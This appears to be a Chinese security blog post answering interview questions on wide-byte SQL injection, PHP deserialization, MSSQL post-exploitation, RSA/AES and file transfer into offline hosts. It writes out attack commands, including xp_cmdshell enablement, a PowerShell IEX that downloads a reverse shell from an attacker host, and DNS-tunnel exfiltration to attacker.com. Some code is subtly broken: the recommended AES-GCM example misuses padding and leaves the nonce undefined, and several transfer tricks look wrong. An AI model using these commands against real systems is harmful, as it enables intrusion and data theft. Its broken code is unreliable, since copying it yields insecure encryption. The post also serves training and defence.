网络安全领域各种资源,学习文档,以及工具分享、前沿信息分享、POC、EXP分享。不定期分享各种好玩的项目及好用的工具,欢迎关注。
目录
深信服 -安全工程师
宽字节注入原理,是否只有gbk编码存在宽字节注入 php反序列化原理 内网一台机器,只有一个mssql的服务账户权限,如何进行后续的利用 ras算法原理/aes算法原理 一台机器不能出网,如何把一个exe文件放到对应的目标机器上去(dmz)
一、宽字节注入原理与编码影响
(一)技术原理
宽字节注入是一种利用数据库字符集转换漏洞的SQL注入技术,核心逻辑在于:
- 多字节编码(如GBK)将两个连续字节解析为一个中文字符
- 当转义符号
'
被转义为\'
时(0x5c),若前导字节与0x5c组成合法GBK字符(如0xbf5c对应"縗")- 导致单引号逃逸闭合,形成注入点
典型攻击Payload:
sql
%bf%27 UNION SELECT 1,version()--
此时数据库解析为:
0xbf5c27 → 縗'(0x5c被"吞噬")
(二)编码范围扩展
- 主要影响编码:
- GBK系列(GB2312/GB18030)
- BIG5(繁体中文)
- Shift-JIS(日文)
- EUC-KR(韩文)
- UTF-8的防御性:
- 采用3-4字节编码机制
- 严格编码校验机制
- 0x5c无法与前导字节构成合法字符
(三)防御方案
php
// 最佳实践组合 $db->set_charset("utf8mb4"); $stmt = $db->prepare("SELECT * FROM users WHERE id=?"); $stmt->bind_param("i", $input);
二、PHP反序列化漏洞深度解析
(一)漏洞形成机制
php
class VulnerableClass { private $data; public function __wakeup() { system($this->data); } } // 攻击者构造的序列化数据 $payload = 'O:15:"VulnerableClass":1:{s:4:"data";s:9:"calc.exe";}'; unserialize($payload); // 触发命令执行
关键触发点:
__destruct()
:对象销毁时自动执行__wakeup()
:反序列化时初始化操作__toString()
:对象被当作字符串使用时触发(二)攻击面扩展
- POP链构造:
- 通过多个类的属性串联调用链
- 利用魔术方法跳转执行流程
- Phar协议利用:
php
通过文件操作函数触发phar反序列化file_exists("phar://malicious.phar/test.txt");
(三)防御体系ini
; php.ini 配置加固 session.serialize_handler = php_serialize disable_functions = system,exec
三、MSSQL服务权限横向渗透
(一)权限提升路径
存储过程利用:
sql
EXEC sp_configure 'show advanced options',1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell',1; RECONFIGURE; EXEC xp_cmdshell 'whoami';
CLR组件攻击:sql
CREATE ASSEMBLY ExploitAssembly FROM 0x4D5A9000... WITH PERMISSION_SET = UNSAFE;
(二)横向移动技术
数据库链路渗透:
sql
SELECT * FROM OPENROWSET('SQLNCLI', 'Server=192.168.1.10;Trusted_Connection=yes;', 'EXEC master..xp_cmdshell ''powershell -c IEX(New-Object Net.WebClient).DownloadString("http://attacker/revshell.ps1")''')
凭证提取技术:
- 使用PowerUpSQL提取Linked Server凭据
- 解密MSSQL保存的自动化任务密码
四、密码学算法核心原理
(一)RSA算法流程
密钥生成:
n = p*q (p,q为大素数) φ(n) = (p-1)(q-1) e选择满足1<e<φ(n)且与φ(n)互质 d ≡ e⁻¹ mod φ(n)
加密过程:
C ≡ M^e mod n M ≡ C^d mod n
(二)AES算法架构
轮函数组成:
python
def Round(state, round_key): SubBytes(state) ShiftRows(state) MixColumns(state) AddRoundKey(state, round_key)
密钥扩展:
- 使用Rijndael密钥调度算法
- 每轮生成128/192/256位新密钥
五、不出网环境文件传输方案
(一)协议隧道技术
DNS隧道传输:
powershell
# 发送端 $bytes = [System.IO.File]::ReadAllBytes("payload.exe") $b64 = [Convert]::ToBase64String($bytes) foreach ($chunk in ($b64 -split '(\w{63})')){ Resolve-DnsName "$chunk.attacker.com" -Type A } # 接收端 tshark -i eth0 -Y "dns.qry.name contains attacker.com" -T fields -e dns.qry.name
ICMP封装传输:
bash
# 发送端 icmpsh_m.py -t 目标IP -s -d payload.exe # 接收端 icmpsh_r.py -i eth0
(二)存储介质利用
数据库BLOB导出:
sql
INSERT INTO temp_table (data) VALUES (0x4D5A9000...) BCP "SELECT data FROM temp_table" queryout "C:\payload.exe" -S localhost -U sa -P password
Windows备用数据流:cmd
type payload.exe > normal.txt:secret.exe mklink /H loader.exe normal.txt:secret.exe
六、防御体系构建建议
- 纵深防御架构:
- 网络层:VLAN划分+ACL白名单
- 主机层:Credential Guard+AppLocker
- 应用层:CSP+输入净化
- 加密算法实践:
python
# 现代加密建议 from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes from cryptography.hazmat.primitives import padding def aes_encrypt(key, plaintext): padder = padding.PKCS7(128).padder() cipher = Cipher(algorithms.AES(key), modes.GCM(nonce)) encryptor = cipher.encryptor() return encryptor.update(padder.update(plaintext)) + encryptor.finalize()